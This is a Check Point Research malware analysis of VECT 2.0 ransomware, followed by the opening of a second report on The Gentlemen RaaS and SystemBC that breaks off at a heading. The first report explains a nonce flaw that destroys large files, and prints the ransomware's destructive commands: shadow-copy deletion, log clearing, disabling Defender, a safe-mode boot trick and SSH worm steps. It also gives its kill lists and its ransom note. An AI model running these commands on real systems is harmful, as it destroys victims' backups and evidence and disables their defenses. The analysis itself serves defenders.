Key Takeaways

• Check Point Research discovers that the VECT 2.0 ransomware permanently destroys “large files” rather than encrypting them. A critical flaw in the encryption implementation, identical across all three platform variants (Windows, Linux, ESXi), discards three of four decryption nonces for every file above 131,072 bytes (128 KB). Full recovery is impossible for anyone, including the attacker. At a threshold of only 128 KB, this effectively makes VECT a wiper for virtually any file containing meaningful data, enterprise assets such as VM disks, databases, documents and backups included. CPR confirmed this flaw is present across all publicly available VECT versions.
• The cipher is misidentified in public reporting. VECT uses raw ChaCha20-IETF (RFC 8439) with no authentication, not ChaCha20-Poly1305 AEAD as claimed in several widely cited threat intelligence reports (and VECT’s initial advertisement). There is no Poly1305 MAC and no integrity protection.
• Advertised encryption speed modes are not implemented. The --fast, --medium, and --secure flags present across Linux and ESXi variants are parsed and then silently ignored. Every execution applies identical hardcoded thresholds regardless of operator selection.
• Three platforms, one flawed engine: Windows, Linux, and ESXi variants share an identical encryption design built on libsodium, with the same file-size thresholds, the same four-chunk logic, and the same nonce-handling flaw throughout, confirming a single codebase ported across platforms.
• Professional facade, amateur execution: beyond the nonce flaw, CPR identified multiple additional bugs and design failures across all variants, from self-cancelling string obfuscation and permanently unreachable anti-analysis code, to a thread scheduler that actively degrades the encryption performance it meant to improve.

Background

VECT Ransomware is a Ransomware-as-a-Service (RaaS) program that made its first appearance in December 2025 on a Russian-language cybercrime forum. After claiming their first two victims in January 2026, the group got back into the public eye due to an announcement of a partnership with TeamPCP, the actor behind several supply-chain attacks in March 2026. These attacks injected malware into popular software packages such as Trivy, Checkmarx’ KICS, LiteLLM and Telnyx, affecting a large base of downstream consumers. Shortly after these attacks made headlines, VECT made a post on BreachForums, announcing their partnership with TeamPCP, with the goal to exploit the companies affected by those supply chain attacks.

In addition, VECT announced a partnership with BreachForums itself, promising that every registered forum user will become an affiliate and thus be able to use the VECT ransomware, negotiation platform and leak site for operations. Traditionally, most ransomware groups allow affiliates to join either based on reputation or through paying a fee. As of April 2026, this partnership is in full effect:

While these actions show an ambitious project, the group’s current leak site only lists two victims, both originating from the TeamPCP supply chain attacks:

The VECT Ransomware is written in C++ and, with version 2.0 released in February 2026, VECT supports Windows and Linux hosts as well as ESXi hypervisors. The group claims to have built all three lockers from scratch. Additionally, a forum post mentions that dedicated “Cloud Lockers”, likely targeting various cloud storage services, will be made available for affiliates that will prove their skills through a quiz or puzzle challenge in the near future.

Introduction: Ransomware Analysis Overview

Through an account on BreachForums, Check Point Research got access to the panel and ransomware builder. Here, an affiliate has the option to build three different payloads: Windows, Linux and ESXi (as well as a dedicated tool for data exfiltration, which is not yet available at the time of writing):

Check Point Research analyzed all three payloads, uncovering various flaws and oversights – revealing that, behind the professional facade, VECT ransomware is not a technically sophisticated service.

Ransomware Cross-Platform Overview

As detailed in the following sections, VECT 2.0 targets Windows, Linux, and VMware ESXi through three distinct variants built on a shared codebase. While platform-specific disruption logic differs, the core encryption engine is identical across all three, a design decision that ensures the flaw described in the next section affects every supported platform equally.

All three variants are statically compiled C++ executables embedding the libsodium cryptographic library, accept operator-supplied command-line flags, support lateral movement, and produce an identical on-disk encrypted file format. The table below summarizes the key properties across all three variants.

Property	Windows	Linux	ESXi
Architecture	PE64 (x86-64)	ELF64 (x86-64)	ELF64 (x86-64)
Toolchain	MinGW-w64 / C++	GCC / C++	GCC / C++
Crypto library	libsodium (static)	libsodium (static)	libsodium (static)
Cipher	ChaCha20-IETF (RFC 8439)	ChaCha20-IETF (RFC 8439)	ChaCha20-IETF (RFC 8439)
Key size	32 bytes	32 bytes	32 bytes
Nonce size	12 bytes	12 bytes	12 bytes
Small file threshold	131,072 bytes	131,072 bytes	131,072 bytes
Large file chunks	4	4	4
Chunk offset formula	file_size / 4 × index	file_size / 4 × index	file_size / 4 × index
Max chunk size	32,768 bytes	32,768 bytes	32,768 bytes
Nonces written to disk	1 (last chunk only)	1 (last chunk only)	1 (last chunk only)
Encrypted extension	.vect	.vect	.vect
Ransom note filename	!!!READ_ME!!!.txt	!!!READ_ME!!!.txt	!!!READ_ME!!!.txt
Default target path	All drives	/	/vmfs/volumes
Lateral movement	WMI / DCOM / SMB / SC / Schtasks / PSRemoting	SSH / SCP	SSH / SCP
Geofencing / CIS bypass	No	Yes (locale + timezone)	Yes (locale + timezone)
Anti-debug	Process scan + kernel object query	TracerPid check	TracerPid check
Encryption mode flags	N/A	Parsed, not implemented	Parsed, not implemented

Nonce Flaw – “Large File” Destruction

Correct Cryptographic Identification

Before describing the flaw, a correction to existing public reporting is warranted. Several published analyses describe VECT’s encryption as ChaCha20-Poly1305 AEAD. This is incorrect as we confirmed that all three versions (Windows, Linux, ESXi) use the raw, unauthenticated ChaCha20 stream cipher in its IETF variant (RFC 8439) via libsodium’s crypto_stream_chacha20_ietf_xor. The _ietf designation refers specifically to the standardized 96-bit (12-byte) nonce and 32-bit counter parameterization distinct from Bernstein’s original 64-bit nonce form.

The ChaCha20-Poly1305 AEAD construction appends a 16-byte Poly1305 authentication tag to each ciphertext. No such tag exists in any VECT-encrypted file. The on-disk format contains only raw ciphertext followed by a 12-byte nonce – no MAC, no integrity protection, no authenticated encryption of any kind.

This misattribution likely stems from researchers trusting the threat actors’ own initial forum advertisement where VECT themselves incorrectly named the encryption scheme they use.

Overview

All three VECT 2.0 variants share a critical implementation flaw that causes any file larger than 131,072 bytes (128 KB, smaller even than a simple document) to be permanently and irrecoverably destroyed rather than encrypted for later decryption. The malware encrypts four independent chunks of each ”large file” using four freshly generated random 12-byte nonces, but appends only the final nonce to the specific encrypted file on disk. The first three nonces, each required to decrypt its respective chunk, are generated, used, and silently discarded. They are never stored on disk, in the registry, or transmitted to the operator.

Because ChaCha20-IETF requires both the 32-byte key and the exact matching 12-byte nonce to reverse each chunk, the first three quarters of every large file are unrecoverable by anyone including the ransomware operator who cannot provide a working decryption tool even after ransom payment. Since the vast majority of operationally critical files exceed this “large-size” threshold, VECT 2.0 functions in practice as a data wiper with a ransomware facade.

Small File Processing

For files not exceeding 131,072 bytes (128 KB), the entire content is encrypted in a single pass. One 12-byte nonce is generated, used to encrypt the full file in-place, and appended to the end of the file. The resulting on-disk layout is:

[ ChaCha20-IETF ciphertext - full file ][ nonce - 12 bytes ]

For this size class, the format is internally consistent and the appended nonce is sufficient to reverse the single encryption pass. These files are fully decryptable.

Large File Processing – The Flaw

For files exceeding 131,072 bytes (128 KB), VECT divides the file into four chunks at quarter-file offsets derived from the file size:

• Quarter size: file size divided by 4
• Chunk start offsets: 0, ¼, ½, ¾ of the file
• Chunk size per offset: up to 32,768 bytes (32 KB), or the remaining file length if shorter

The encryption loop processes each chunk in sequence. The per-chunk encryption helper is called once per iteration and on every call it generates a fresh cryptographically random 12-byte nonce via libsodium’s randombytes(), writing it into a single shared output buffer passed by the caller.

Because all four calls receive the same buffer address, each new nonce overwrites the previous one. After the loop completes, only the nonce from the fourth/final chunk remains in the buffer and this is the only nonce appended to the file.

The three discarded nonces are outputs of randombytes() (which on Windows internally resolves to SystemFunction036 / RtlGenRandom in advapi32.dll, forwarding to ProcessPrng in bcryptprimitives.dll; on Linux and ESXi it reads from the kernel CSPRNG via getrandom() or /dev/urandom through libsodium’s safe_read()), cryptographically unpredictable values that are never stored anywhere after the buffer is overwritten. There is no sidecar file, no registry entry, and no network exfiltration of nonce material in any of the three variants.

Cross-Platform Confirmation

The flaw is structurally identical across all three platform variants. In each case, the per-chunk encryption helper generates a fresh random nonce on every call and writes it into the same caller-supplied 12-byte buffer; all four iterations of the loop share this buffer; and a single 12-byte write to the end of the file follows the loop.

The ESXi variant also performs a zero-block check before each encryption call, where chunks consisting entirely of zero bytes are skipped (an optimization for sparse VMDK files). This does not affect the nonce flaw; the shared buffer is still overwritten on each non-skipped call and only the final surviving nonce reaches disk.

The flaw predates VECT 2.0. CPR’s analysis of an older ESXi variant identified in the wild prior to the 2.0 release confirms the identical four-chunk loop, quarter-offset calculation, shared nonce buffer, and single EOF nonce write – unchanged from the operator’s first publicly observed deployment through every known release.

Impact

File region	Nonce on disk	Recoverable
Small file ≤ 128 KB – full content	Yes – appended at EOF	Fully
Large file – chunk at offset 0 (up to 32 KB)	No	Permanently lost
Large file – chunk at offset ¼ (up to 32 KB)	No	Permanently lost
Large file – chunk at offset ½ (up to 32 KB)	No	Permanently lost
Large file – chunk at offset ¾ (up to 32 KB)	Yes – appended at EOF	Last chunk only
Large file – all bytes outside the four chunks	N/A – not encrypted	Plaintext, unchanged

Files commonly exceeding 128 KB span virtually everything from typical office documents, spreadsheets, and images to virtual machine disk images, database files, archives, and backups – precisely those most critical to business continuity and most targeted by ransomware operators. For this dominant file class, VECT 2.0 cannot function as recoverable ransomware; it is operationally a data wiper. Victims who pay the ransom cannot receive a functional decryptor for their most critical files – not because the operator is uncooperative, but because the nonces required for decryption no longer exist.

Windows Locker

The Windows variant targets local, removable, and network-accessible storage, renames encrypted files with the .vect extension, drops a ransom note and a branded desktop wallpaper, and executes defense-evasion, persistence, and lateral-movement routines. Of particular note is a comprehensive anti-analysis suite targeting 44 specific security and debugging tools, alongside a safe-mode persistence mechanism and multiple remote-execution methods for lateral spread.

Command-Line Interface and Default Behavior

The locker exposes the following operator options:

  -h, --help          Help
  -v, --verbose       Verbose output
  -p, --path <dir>    Target specific path
  -c, --creds <b64>   Override credentials
  --gpo               Enable GPO spread (default: on)
  --no-gpo            Disable GPO spread
  --mount             Enable network mount (default: on)
  --no-mount          Disable network mount
  --stealth           Enable self-delete (default: on)
  --no-stealth        Disable self-delete
  --force-safemode    Force safemode boot

GPO spread, network mounting, and self-deletion are all on by default. An operator deploying without flags, for example via Group Policy or a remote execution primitive, activates the full impact chain automatically, including spread, hidden volume access, and post-execution cleanup.

File Encryption and Renaming

Each target file is renamed to append .vect before encryption. The file is then opened in-place and encrypted using the ChaCha20-IETF scheme described in the preceding section. The nonce flaw applies identically: files larger than 131,072 bytes (128 KB) lose the first three chunk nonces permanently, thus resulting in large file destruction rather than encryption.

The encryption engine spawns worker threads in a fixed 1:7 scanner-to-encryptor ratio derived from a CPU-count-tiered multiplier: ×8 for machines with up to 4 CPUs, ×6 for 5-8 CPUs, and ×4 beyond that, hard-capped at 256 total. On a typical 8-CPU target, this produces 6 scanner and 42 encryptor threads simultaneously competing for the same disk I/O channels – overkill by any measure, and a thread count that would make any seasoned ransomware developer laugh. Families like LockBit cap their pools at 1-2× CPU count for good reason; spawning six times as many threads as there are CPUs does not encrypt files faster; it simply means the operating system spends more time switching between threads than doing useful work. This is a textbook mistake made by developers who read about parallelism but skipped the part about profiling. The fact that it is shipped in a supposedly operational ransomware tool speaks volumes about the maturity of whoever is behind this project.

Ransom Note and Wallpaper

After encrypting each drive target, the locker drops !!!READ_ME!!!.txt, assembled from multiple decoded string fragments (see the ransom note in the Appendix). Then, it generates a replacement desktop wallpaper (dvm3_wall.bmp) that carries the VECT 2.0 brand banner, as shown in the image below.

Target Selection and Exclusions

Drive enumeration covers logical drives and network-mapped resources. The file selection logic skips the following to leave the operating system functional enough for the victim to access the payment portal:

Excluded directories: Windows, Windows.old, Boot, $Recycle.Bin, System Volume Information, Program Files, Program Files (x86), ProgramData

Excluded boot files: bootmgr, bootmgr.efi, bootmgfw.efi, bootsect.bak, boot.ini, ntldr

Excluded extensions: .exe, .dll, .sys

These represent the builder defaults; affiliates may configure additional exclusions at sample generation time.

Process and Service Disruption

When running with elevated privileges, the locker stops services via the Windows Service Control Manager and terminates the following processes to release file handles before encryption begins: sql.exe, oracle.exe, mysqld.exe, excel.exe, winword.exe, outlook.exe, firefox.exe, thunderbird.exe.

Unlike typical RaaS offerings where affiliates can customize kill lists, this list is hardcoded by the builder and cannot be modified at sample generation time.

Persistence and Safe-Mode Preparation

When --force-safemode is active, the locker executes bcdedit /set {default} safeboot minimal to configure the next boot into minimal safe mode, then writes its own executable path into the Windows registry under the safe-boot service load path with value "Service". This ensures the locker runs on the subsequent safe-mode boot, where the majority of security products are disabled. After completing execution, the boot configuration entry is removed to avoid persistent boot loops. Task Manager is also disabled via the registry for the duration of execution.

Lateral Movement

The locker contains multiple encoded remote-execution script templates enabling propagation to additional Windows hosts using operator-supplied credentials (--creds). Methods include: admin share file copy, Windows Credential Manager storage via cmdkey, WMI execution, DCOM/MMC application instantiation, remote scheduled task creation, remote service installation via sc.exe, and PowerShell remoting. Host discovery combines Windows domain enumeration with a local subnet sweep using network adapter information.

Anti-Analysis

The Windows variant implements three layered analyst-environment detection mechanisms. All three detection mechanisms are present in compiled form but are never invoked. The cross-reference analysis confirms zero call sites reach any of the three functionalities in this build. This is consistent with a conditional compilation flag that was left disabled at build time, and represents a meaningful gap: an analyst running this sample under any of the targeted tools will not trigger any evasive response.

No code obfuscation is applied, although the most operator-facing strings are concealed using a rotating 64-bit XOR scheme: each byte is XORed against the corresponding byte of a fixed 64-bit key, cycling through all eight key bytes.

• Running-process scan
  A full process snapshot is taken and each process name is compared against a hardcoded list of 44 analysis tools (originally 47, but we removed the duplicates), covering debuggers, import reconstructors, PE utilities, process monitors, network sniffers, and sandbox controllers (the full list of detected tools can be found in the Appendix section).

• Parent process check
  The parent process image path is retrieved and matched against a list of debugging environments: devenv, windbg, x64dbg, x32dbg, ollydbg, ida. A process launched from any of these is treated as running under analysis.
• Kernel debug-object query
  The Windows native API NtQueryInformationProcess is resolved dynamically from ntdll.dll at runtime avoiding static import detection and queried for the ProcessDebugObjectHandle information class. A non-null return indicates an attached debugger.

Defense Evasion and Cleanup

Action	Method
Disable Windows Defender	Set-MpPreference via PowerShell disables realtime, behavior, IOAV, and script scanning
Delete shadow copies	vssadmin delete shadows /all /quiet
Clear event logs	wevtutil cl Application, Security, System, Windows PowerShell
Delete PowerShell history	PSReadLine\\ConsoleHost_history.txt
Delete recent file entries	%APPDATA%\\Microsoft\\Windows\\Recent\\*
Self-delete	Delayed cmd /c with ping stall followed by forced deletion

ESXi Locker – The Hypervisor Ransomware

The ESXi variant of the VECT ransomware targets VMware ESXi hypervisors and employs geofencing and anti-debugging before disrupting various system services, wiping logs, and encrypting victim files, defaulting to the VMware File System mount point at /vmfs/volumes. The malware also supports SSH-based lateral movement, where the ransomware tries to use available credentials to connect to known SSH hosts.

Anti-Analysis and Geofencing

Before executing any malicious code, the ransomware employs two simple anti-analysis checks: First, it checks if it is running in a CIS state, and if so, exits without encryption. The malware runs timedatectl and compares the time zones against a blacklist and checks the LANG and LC_ALL environment variables, validating that the country code does not match one of the excluded countries.

Before 2022 CIS checks were very common in RaaS malware. During the start of the Russo-Ukrainian war, most RaaS programs removed Ukraine from the CIS countries list. During recent years these checks have been largely removed from ransomware. VECT including such checks and even adding Ukraine to the list of exclusions is rather uncommon. Check Point Research has two theories regarding this observation: either this code was AI generated, where LLMs were trained with Ukraine being part of CIS or VECT used an old code base for their ransomware.

Additionally to these checks, the malware probes for the presence of a debugger by checking the value of TracerPid in /proc/self/status, exiting if any tracing process is found.

To obfuscate from basic static analysis, the authors decided to implement strings as stack strings. Some strings, most notably the different command line options, are additionally XORed with a single byte key:

Command-Line Interface and SSH lateral movement

The following command line options are available:

  --path <dir>       Target directory (default: /vmfs/volumes)
  --spread           Enable SSH lateral movement
  --fast             Fast mode: encrypt only 1MB
  --medium           Medium mode: encrypt 4 parts (64MB each)
  --secure           Secure mode: encrypt 100% (default)
  --no-kill-vms      Don't kill running VMs (encrypt only)
  --verbose          Enable verbose output
  --help             Show this help message

Operators can seemingly decide between three different encryption methods, --fast, --medium, and --secure, to find a tradeoff between speed and thoroughness of the encryption – however, the ransomware does not actually implement these different modes – the code parses them into variables, but they are never read back. Every execution, regardless of operator-selected flag, applies the same hardcoded thresholds: 131,072-byte large-file boundary and 32,768-byte maximum chunk size. The same goes for the Linux variant we describe further below.

If the --spread option is supplied, the malware tries to spread laterally like an SSH based worm:

• All readable keys from the home and /root directories are extracted
• /etc/ssh/ssh_config and ~/.ssh/config are read and parsed for any hostnames and corresponding usernames
• All known_hosts files are zeroed out to avoid any host-key warnings
• For each host, the locker tries to connect with each of the collected usernames as well as a hardcoded list of common usernames
• If a connection succeeds, the malware copies itself over via scp and executes itself via ssh

Service Disruption, Log Wiping and Encryption

Before running any encryption, the malware makes sure to shut down any services that could hold any file locks or could otherwise interfere with the process. It starts by disabling the ESXi firewall via the esxcli utility, as well as specific firewall rulesets and shutting down various ESXi health monitoring processes:

Afterwards, it proceeds with shutting down other services and processes, like databases, backup tools, Hypervisor related services and security products. Shutdown is either attempted gracefully, via systemctl stop and service stop, or aggressively via pkill -9 and systemctl disable --now . A full list of targeted services can be found in the Appendix.

To remove any locks from virtual machine disk files, the VECT locker invokes various legitimate administration utilities to shut down any running virtual machines. However, contrary to its name, the locker not only targets ESXi but also other common Hypervisors:

Tool	Hypervisor targeted
vmware-cmd / vmrun	VMware products
VBoxManage	Oracle VirtualBox
virsh	libvirt / KVM / QEMU
esxcli	VMware ESXi
xm / xl	Xen Hypervisor

Next, various shell history files and logs in /var/log are removed or zeroed-out. This includes logs from hypervisors, container services, databases, web servers, audit logs or other system logs and journals (see the Appendix for a complete list).

After this prelude, the actual encryption process is kicked off: If no path is supplied, the default path of /vmfs/volumes is used, which is the default VMware File System (VMFS) mount point for all datastores. In a multi-threaded process, each datastore is searched for files to encrypt. The ransomware maintains a sensible blacklist, which excludes several directories hosting mainly executables, system files or config files:

/proc, /sys, /dev, /bin, /sbin, /lib64, /usr, /etc, /boot, /var/run, /var/lib, /bootbank, /altbootbank, /store, /locker, /vmfs/volumes/.sdd.sf, /vmfs/volumes/.fbb.sf, /vmfs/volumes/.fdc.sf, /vmfs/volumes/.pb, /vmfs/volumes/.vh

Again, the thread count is chosen rather excessively, by multiplying the amount of CPU cores by 4, clamping the value between a minimum of 32 and a maximum of 256.

By sharing a codebase with the other versions, see encryption process is the same and contains the same flaw in its implementation: it only includes the latest nonce when chunk-processing a big file:

Finally, if the malware was configured to do so, the ransom note is dropped to /home, /root and /tmp, as well as in various system paths:

Path	Purpose
/etc/motd	Login banner (message of the day)
/etc/issue	Pre-login system banner
/etc/issue.net	Network login banner
/etc/profile.d/vector_notice.sh	Shell script displaying the note, ran on shell login

Linux Locker

The Linux version is built on the same codebase as the ESXi and implements a subset of its functionality. This becomes apparent when comparing the execution flow of the main functions side-by-side:

Just like the ESXi version, the malware first kills any services and processes that could interfere with the encryption, shuts down any VMs (interestingly also including ESXi VMs) and wipes system logs and shell history files. Then, encryption is started, with the system root / as the default path and ransom notes are written to disk. The Linux locker, just like its ESXi counterpart, supports the --spread SSH lateral movement functionality. Due to the shared codebase, the locker also fails to save the first three nonces when encrypting large files, making fill recovery of big files impossible.

The Linux version also has another oversight in the implementation of the encryption. Just like in the ESXi locker, the command line flags are supposed to be encrypted, but the authors accidentally designed a double XOR encryption scheme, which cancels out the encryption and leads to plain text strings being present in the binary:

On a side note, even the ASCII art is broken because the developers forgot to escape the backslash characters:

Conclusion

VECT 2.0 presents an ambitious threat profile with multi-platform coverage, an active affiliate program, supply-chain distribution via the TeamPCP partnership, and a polished operator panel. In practice, the technical implementation falls significantly short of its presentation.

Check Point Research’s analysis reveals that the ransomware’s encryption flaw is not a minor edge case but a fundamental design error affecting virtually every file of consequence. At a threshold of only 128 KB, smaller than a typical email attachment or office document, what the code classifies as a large file encompasses not just VM disks, databases, and backups, but routine documents, spreadsheets, and mailboxes. In practice, almost nothing a victim would care to recover falls below this boundary.

The nonce-handling bug is identical across all three platform variants and as confirmed through analysis of an earlier variant identified in the wild prior to the VECT 2.0 release, has been present since the operator’s first publicly observed deployment. It has never been corrected. Victims who pay the ransom cannot receive a working decryptor for their largest files, not through operator deception, but because the information required for decryption was irrecoverably destroyed at the moment of encryption. An overly aggressive thread scheduler that actively harms encryption throughput, and three fully compiled but permanently unreachable anti-analysis routines, further reinforce this assessment: the authors know what features a professional ransomware tool should have, but demonstrably struggled to implement them correctly or at all.

Beyond the nonce flaw, CPR identified a pattern of incomplete implementation: advertised encryption modes that are parsed but never applied, string obfuscation routines that accidentally cancel themselves out, and a cipher incorrectly described in public reporting. Together these findings paint a picture of a group with operational ambition, reflected in the BreachForums open-affiliate model and the TeamPCP supply-chain campaign, but with cryptographic and software engineering maturity that does not match the scale of the operation they are attempting to run.

The announcement of forthcoming “Cloud Lockers” and the low technical barrier introduced by the open-affiliate model both warrant continued monitoring. As CPR has demonstrated, the current implementation has severe limitations but those can be corrected in a future version, and the distribution infrastructure to deploy such a version at scale already exists.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report.

IOCs

SHA-256	VECT Version
a7eadcf81dd6fda0dd6affefaffcb33b1d8f64ddec6e5a1772d028ef2a7da0f2	ESXi
58e17dd61d4d55fa77c7f2dd28dd51875b0ce900c1e43b368b349e65f27d6fdd	ESXi
e1fc59c7ece6e9a7fb262fc8529e3c4905503a1ca44630f9724b2ccc518d0c06	Linux
8ee4ec425bc0d8db050d13bbff98f483fff020050d49f40c5055ca2b9f6b1c4d	Windows
9c745f95a09b37bc0486bf0f92aad4a3d5548a939c086b93d6235d34648e683f	Windows
e512d22d2bd989f35ebaccb63615434870dc0642b0f60e6d4bda0bb89adee27a	Windows

Appendix

Analysis tools detected by Windows locker:

ollydbg.exe	x64dbg.exe	x32dbg.exe	windbg.exe
x96dbg.exe	ida.exe	ida64.exe	idag.exe
idag64.exe	idaw.exe	idaw64.exe	idaq.exe
idaq64.exe	immunitydebugger.exe	ImportREC.exe	MegaDumper.exe
scylla.exe	scylla_x64.exe	scylla_x86.exe	protection_id.exe
reshacker.exe	ResourceHacker.exe	processhacker.exe	procexp.exe
procexp64.exe	procmon.exe	procmon64.exe	autoruns.exe
autorunsc.exe	filemon.exe	regmon.exe	wireshark.exe
dumpcap.exe	hookexplorer.exe	PETools.exe	LordPE.exe
SysInspector.exe	proc_analyzer.exe	sysAnalyzer.exe	sniff_hit.exe
joeboxcontrol.exe	joeboxserver.exe	fiddler.exe	httpdebugger.exe

Services targeted by Linux/ESXi locker:

acronis	acronis_agent	aide	amanda
avast	avg	BackupExecAgent	bareos-fd
bitdefender	borg	carbonblack	cassandra
cb-sensor	chkrootkit	clamav	clamav-daemon
clamav-freshclam	clamd	cockroach	consul
couchdb	cylance	eset	etcd
falcon-sensor	freshclam	influxdb	kaspersky
kvm	libvirtd	lynis	mariadb
mariadbd	mcafee	memcached	mongod
mongodb	mysql	mysqld	neo4j
ossec	postgres	postgresql	qemu
rclone	rdiff-backup	redis	redis-server
restic	rkhunter	rsnapshot	sentinelone
sophos	symantec	syncthing	tripwire
vboxadd	VBoxClient	vboxdrv	VBoxHeadless
vboxservice	VBoxService	veeam	VeeamDeploymentSvc
virt-install	virt-manager	vmware	vmware-authd
vmware-hostd	vmware-rawdiskCreator	vmware-tray	vmware-usbarbitrator
vmware-user	vmware-vmx	vmware-vprobe	wazuh
wazuh-agent	xen	xenconsoled	xend
xenstored

Logs targeted by Linux/ESXi locker:

Log files: /var/log/syslog, /var/log/messages, /var/log/debug, /var/log/secure, /var/log/auth.log, /var/log/kern.log, /var/log/daemon.log, /var/log/user.log, /var/log/mail.log, /var/log/mail.err, /var/log/cron.log, /var/log/boot.log, /var/log/dmesg, /var/log/faillog, /var/log/lastlog, /var/log/tallylog, /var/log/wtmp, /var/log/btmp, /var/log/utmp, /var/run/utmp

Rotate logs (Wildcards): /var/log/syslog.*, /var/log/messages.*, /var/log/auth.log.*, /var/log/auth.log*, /var/log/secure.*, /var/log/secure*, /var/log/kern.log.*, /var/log/*.gz, /var/log/*.1, /var/log/*.old, /var/log/cron*, /var/log/ufw.log*, /var/log/firewalld*, /var/log/audit/audit.log*, /var/log/dpkg.log*, /var/log/yum.log*, /var/log/dnf.log*, /var/log/apt/*, /var/log/cloud-init*.log

Application specific logs: /var/log/apache2/*, /var/log/httpd/*, /var/log/nginx/*, /var/log/mysql/*, /var/log/postgresql/*, /var/log/mongodb/*, /var/log/redis/*, /var/log/docker/*, /var/log/containers/*, /var/log/pods/*, /var/log/journal/*, /run/log/journal/*, /tmp/*.log, /var/tmp/*.log

Shell & command history files: .bash_history, .zsh_history, .mysql_history, .psql_history, .python_history, .lesshst, .viminfo , /root/.ash_history (ESXi locker only)

ESXi specific logs: /var/log/vmkernel.log, /var/log/vmkwarning.log, /var/log/vmksummary.log, /var/log/hostd.log, /var/log/vpxa.log, /var/log/fdm.log, /var/log/shell.log, /var/log/syslog, /var/log/vobd.log, /var/log/vmware/*

Ransom Note:

  !!! README !!!                                                                                                                                                                             
  
  ===============                                                                                                                                                                            
   :::     ::: :::::::::: :::::::: :::::::::::                                                                                                                                             
   :+:     :+: :+:       :+:    :+:    :+:                                                                                                                                                   
   +:+     +:+ +:+       +:+           +:+                                                                                                                                                   
   +#+     +:+ +#++:++#  +#+           +#+
    +#+   +#+  +#+       +#+           +#+
     #+#+#+#   #+#       #+#    #+#    #+#
       ###     ########## ########     ###
  ===============

  Dear Management, all of your files have been encrypted with ChaCha20 which is an unbreakable encryption algorithm.
  Sadly, this is not the only bad news for you. We have also exfiltrated your sensitive data, consisting mostly of databases, backups and other personal information
  from your company and will be published on our website if you do not cooperate with us.

  The only way to recover your files is to get the decryption tool from us.

  To obtain the decryption tool, you need to:
  1. Open Tor Browser and visit: <http://vectordntlcrlmfkcm4alni734tbcrnd5lk44v6sp4lqal6noqrgnbyd.onion/chat/REDACTED>
  2. Follow the instructions on the chat page
  3. Receive a sample decryption of up to 4 small files
  4. We will provide payment instructions
  5. After payment, you will receive decryption tool

  WARNING:
  - Do not modify encrypted files
  - Do not use third party software to restore files
  - Do not reinstall system

  If you violate these rules, your files will be permanently damaged.

  Files encrypted: [N]
  Total size: [size] bytes
  Unique ID: REDACTED

  Backup contact (Qtox): 1A51DCBB33FBF603B385D223F599C6D64545E631F7C870FFEA320D84CE5DAF076C1F94100B5B

The post VECT: Ransomware by design, Wiper by accident appeared first on Check Point Research.

Key Points

• The Gentlemen ransomware‑as‑a‑service (RaaS) program is rapidly gaining popularity, attracting numerous affiliates and publicly claiming over 320 victims, with the majority of attacks (240) occurring in the first months of 2026.
• The service provides a broad locker portfolio implemented in Go for Windows, Linux, NAS, and BSD, plus an additional locker written in C for ESXi, enabling coverage of the multiple platforms commonly found in corporate environments.
• During an incident response engagement, an affiliate associated with The Gentlemen attempted to deploy SystemBC, a proxy malware frequently leveraged in human‑operated ransomware operations for covert tunneling and payload delivery.
• Check Point Research observed victim telemetry from the relevant SystemBC command‑and‑control server, revealing a botnet of over 1,570 victims, with the infection profile strongly suggesting a focus on corporate and organizational environments rather than opportunistic consumer targeting.

The Gentlemen RaaS

The Gentlemen ransomware‑as‑a‑service (RaaS) operation is a relatively new group that emerged around mid‑2025. The operators advertise their services across multiple underground forums, promoting their ransomware platform and inviting penetration testers (and other technically skilled actors) to join as affiliates.

The RaaS provides affiliates with multi‑OS lockers for Windows, Linux, NAS, BSD implemented in Go, and an additional locker for ESXi implemented in C. The group also grants verified partners access to EDR‑killing tools and its own multi‑chain pivot infrastructure (server and client components).

The group maintains an onion site where it publishes data stolen from victims who refuse to pay. Negotiations, however, are not conducted through this leak portal but via the individual affiliate’s Tox ID. Tox is a free, decentralized, peer‑to‑peer (P2P) instant messaging protocol that provides end‑to‑end encrypted voice, video, and text communication.

The group also appears to maintain a Twitter/X account, which is referenced in the ransomware note. Through this account, the operators publicly post about victims, likely to increase pressure on them to pay.

To date, the group has publicly claimed a little over 320 victims, with the majority of infections occurring in 2026. This growth in activity suggests that The Gentlemen RaaS program has managed to attract a significant number of affiliates over the last few months.

SystemBC Infections

During an incident response case, an affiliate of The Gentlemen Ransomware‑as‑a‑Service (RaaS) deployed SystemBC, a proxy malware, on the compromised host. SystemBC establishes SOCKS5 network tunnels within the victim’s environment and connects to its C&C server using a custom RC4‑encrypted protocol. It can also download and execute additional malware, with payloads either written to disk or injected directly into memory.

The specific Command and Control server that was used for the communication had infected a large number of victims across the globe. It is likely that the majority of those victims are companies and organizations, given that SystemBC is typically deployed as part of human‑operated intrusion workflows rather than massive targeting.

There are over 1,570 victims, with the majority located in the United States, followed by the United Kingdom and Germany.

Whether SystemBC is directly integrated into The Gentlemen ransomware ecosystem or is simply a tool leveraged by this particular affiliate for exfiltration and remote access remains unclear. At this time, Check Point Research has no evidence to determine the exact nature of this relationship.

DFIR Report – Timeline

Initial Access and Establishment of Domain Control

The precise initial access vector could not be conclusively determined. The earliest stage of adversary activity that can be established with confidence is the attacker’s presence on a Domain Controller with Domain Admin–level privileges. From that position, the attacker appears to have performed systematic credential validation and host accessibility testing across the environment, as reflected in an initial pattern of failed network logons followed by successful authentications originating from the Domain Controller. This sequence is consistent with a controlled effort to verify privileged access and identify viable systems before expanding operations more broadly.

Remote Execution and Early Discovery

Using this privileged position, the attacker deployed Cobalt Strike payloads to remote systems by writing executables to administrative shares such as \\\\[REDACTED_HOSTNAME]\\ADMIN$\\<random_7_char>.exe and executing them via RPC. The first observed deployment occurred on an internal endpoint, after which similar activity appeared across additional hosts. Early post-compromise actions included reconnaissance commands such as cmd.exe /C systeminfo, cmd.exe /C whoami, and enumeration commands like cmd.exe /C dir c:\\users. The attacker also accessed internal documentation via cmd.exe /C type \\\\[REDACTED_HOSTNAME]\\d$\\...\\公司主機紀錄.txt, indicating use of environment-specific knowledge in addition to automated discovery. Expansion to other systems followed quickly, with repeated execution artifacts such as regsvr32.exe across multiple hosts confirming centrally driven activity.

Command-and-Control and Payload Staging

